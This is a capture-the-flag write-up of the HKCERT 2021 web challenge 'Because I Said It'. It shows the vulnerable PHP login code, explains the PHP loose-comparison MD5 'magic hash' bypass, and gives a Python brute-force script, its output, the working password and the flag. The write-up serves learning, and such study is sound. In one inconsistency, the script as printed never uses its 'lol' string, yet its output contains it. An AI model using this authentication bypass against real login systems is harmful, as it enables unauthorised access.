HKCERT CTF 2021: 因講了出來 Because I Said It
This post is part of the HKCERT 2021 CTF series.
Name | 因講了出來 (Because I Said It) |
---|---|
Tags | web |
Points | 150 |
Difficulty | ★☆☆☆☆ |
Solves | 76 (total of all four divisions) |
Release Date | 2021-11-12 13:00:00 |
If you can solve Rickroll in 2020, you will be able to solve it. Probably.
The PHP version used for the challenge is 8.0.12.

Analysis
The first thing we did was clicking into the Check Here link intuitively. It redirects us to /source.php
where we can see the PHP source code of the page.
1session_start();
2
3if(isset($_SESSION["loggedin"]) && $_SESSION["loggedin"] === true){
4 header("location: welcome.php");
5 exit;
6}
7
8$username = $password = "";
9$username_err = $password_err = $login_err = "";
10
11if($_SERVER["REQUEST_METHOD"] == "POST"){
12
13 if ((strlen($_POST["username"]) > 24) or strlen($_POST["password"]) > 24) {
14 header("location: https://www.youtube.com/watch?v=2ocykBzWDiM");
15 exit();
16 }
17
18 if(empty(trim($_POST["username"]))){
19 $username_err = "Please enter username.";
20 } else{
21 $username = trim($_POST["username"]);
22 if(empty(trim($_POST["password"]))){
23 $password_err = "Please enter your password.";
24 } else{
25 $password = trim($_POST["password"]);
26 if (!ctype_alnum(trim($_POST["password"])) or !ctype_alnum(trim($_POST["username"]))) {
27 switch ( rand(0,2) ) {
28 case 0:
29 header("location: https://www.youtube.com/watch?v=l7pP3ydt3tU");
30 break;
31 case 1:
32 header("location: https://www.youtube.com/watch?v=G094II5gIsI");
33 break;
34 case 2:
35 header("location: https://www.youtube.com/watch?v=0YQtsez-_D4");
36 break;
37 default:
38 header("location: https://www.youtube.com/watch?v=2ocykBzWDiM");
39 exit();
40 }
41 }
42 }
43 }
44
45 if ($username === 'hkcert') {
46 if( hash('md5', $password) == 0 &&
47 substr($password,0,strlen('hkcert')) === 'hkcert') {
48 if (!exec('grep '.escapeshellarg($password).' ./used_pw.txt')) {
49
50 $_SESSION["loggedin"] = true;
51 $_SESSION["username"] = $username;
52
53 $myfile = fopen("./used_pw.txt", "a") or die("Unable to open file!");
54 fwrite($myfile, $password."\n");
55 fclose($myfile);
56 header("location: welcome.php");
57
58 } else {
59 $login_err = "Password has been used.";
60 }
61
62 } else {
63 $login_err = "Invalid username or password.";
64 }
65 } else {
66 $login_err = "Invalid username or password.";
67 }
68}
The procedure of this login page is very typical, getting the inputs from an HTML form and then sending a HTTP POST request to server with the credentials as the payload. But there are some special conditions required for the credentials in order to log into the page. If the credentials do not pass the criterions, an error message is shown on the HTML.
- Line 14: both the lengths of username and password must not exceed 24 characters
14if ((strlen($_POST["username"]) > 24) or strlen($_POST["password"]) > 24)
- Line 19 & Line 23: both username and password must not be empty
19if(empty(trim($_POST["username"])))
23if(empty(trim($_POST["password"])))
- Line 27: both username and password must be alphanumeric
27if (!ctype_alnum(trim($_POST["password"])) or !ctype_alnum(trim($_POST["username"])))
- Line 46:
username === "hkcert"
(triple equality: exact equal, same type and same value)
46if ($username === 'hkcert')
- Line 47:
the md5 hash of password == 0
(mind the double equality used here, we will talk about this later)
47(hash('md5', $password) == 0)
- Line 48: password must start with a “hkcert” prefix
48(substr($password,0,strlen('hkcert')) === 'hkcert')
- Line 49: the UNIX
grep
command is used here to search if the exact same password already exists in the./used_pw.txt
file; This means we cannot reuse the passwords previously used by other teams that solved this challenge.
49if (!exec('grep '.escapeshellarg($password).' ./used_pw.txt'))
From Point 4, we can already conclude that the username required is hkcert
without a doubt.
Now, we need to figure out the password. First, let’s take a look at Point 7. If we navigate to /used_pw.txt
, we can see a plain text with passwords on each line.
# the below line is probably for identification purpose?
# can be ignored anyways as we are using grep to search the file
hkcertctf21
hkcert1513101299
hkcert1485194470
hkcert_fcuk054389891
hkcertctf228191174
First thing you will notice is that all the passwords have the hkcert
prefix. This conforms Point 6.
Now if you try md5 hashing each of these passwords, you might already notice another common characteristic among all these passwords.
hkcert1513101299 # 0e943391270105244747709215219780
hkcert1485194470 # 0e758523168817202461901834539918
hkcert_fcuk054389891 # 0e960908643632998868593805082813
hkcertctf228191174 # 0e831500119534187998113976784254
Can you see it? All of the hashes have a 0e
prefix and a bunch of digits. These are all scientific numbers with base 0.
Why is that? Remember the double equality we mentioned in Point 5?
PHP Loose Comparison & Type Juggling
The ==
double equality sign in PHP is for loose comparison. When comparing a string to a number, PHP will attempt to convert the string to a number then perform a numeric comparison. The type conversion before comparing is called type juggling.
Now if we take a look of the official PHP manual of the md5
function, we can find something interesting in the “User Contributed Notes” section.
Comment by Ray Paseur
md5(‘240610708’) == md5(‘QNKCDZO’)
This comparison is true because both md5() hashes start ‘0e’ so PHP type juggling understands these strings to be scientific notation. By definition, zero raised to any power is zero.
This means if we loose compare a string "0e123456789"
with an integer 0
, the result is true
.
The Exploit
Now that we understand the weakness of loose comparison, we can make use of this to do the exploit.
In Point 5, since the source code is loose comparing the md5 hash string of the password with integer 0, if we can find a string with a md5 hash that matches the pattern /^0+e[0-9]+$/
, the if-condition will return true, hence logging us into the page.
For this purpose, I wrote a simple Python script to brute force the password.
1import hashlib
2import random
3
4i = 1 # try incrementally with a number, starting from 1
5s = "lol" # prepend with "lol" to increase chance of success, and to prevent getting a used password by other teams
6prefix = "hkcert" # Point 6
7
8while True:
9 password = prefix + str(i)
10 print(password + "\r", end="") # uses "\r" to avoid spamming the stdout
11
12 # Point 1
13 if len(password) > 24:
14 print("length exceeded")
15 break
16
17 # get the md5 hash
18 out = hashlib.md5(password.encode('utf-8')).hexdigest()
19
20 # Point 5
21 if out.startswith("0e") and out[2:].isdigit():
22 print(password) # print the result
23 print(out)
24 break
25
26 i += 1
Here was the output of the script.
$ python3 solve.py 09:02:00 PM
hkcertlol247360143
0e177940692660666190029640266163
$ 59m 42s 10:01:44 PM
I plugged the charger into my 2016 MacBook Pro, went to sleep and keep the script running. The script spent almost an hour to find the result. I knew there were faster ways, but since our team was running out of time, I didn’t think much. When I woke up a few hours later, I had already got the result.
Anyway, we now log in with username hkcert
and password hkcertlol247360143
from the login page, we will be successfully logged into a page showing the flag hkcert21{php_da_b3st_l4ng3ag3_3v3r_v3ry_4ws0m3}
. /s PHP is the best language ever, very awesome!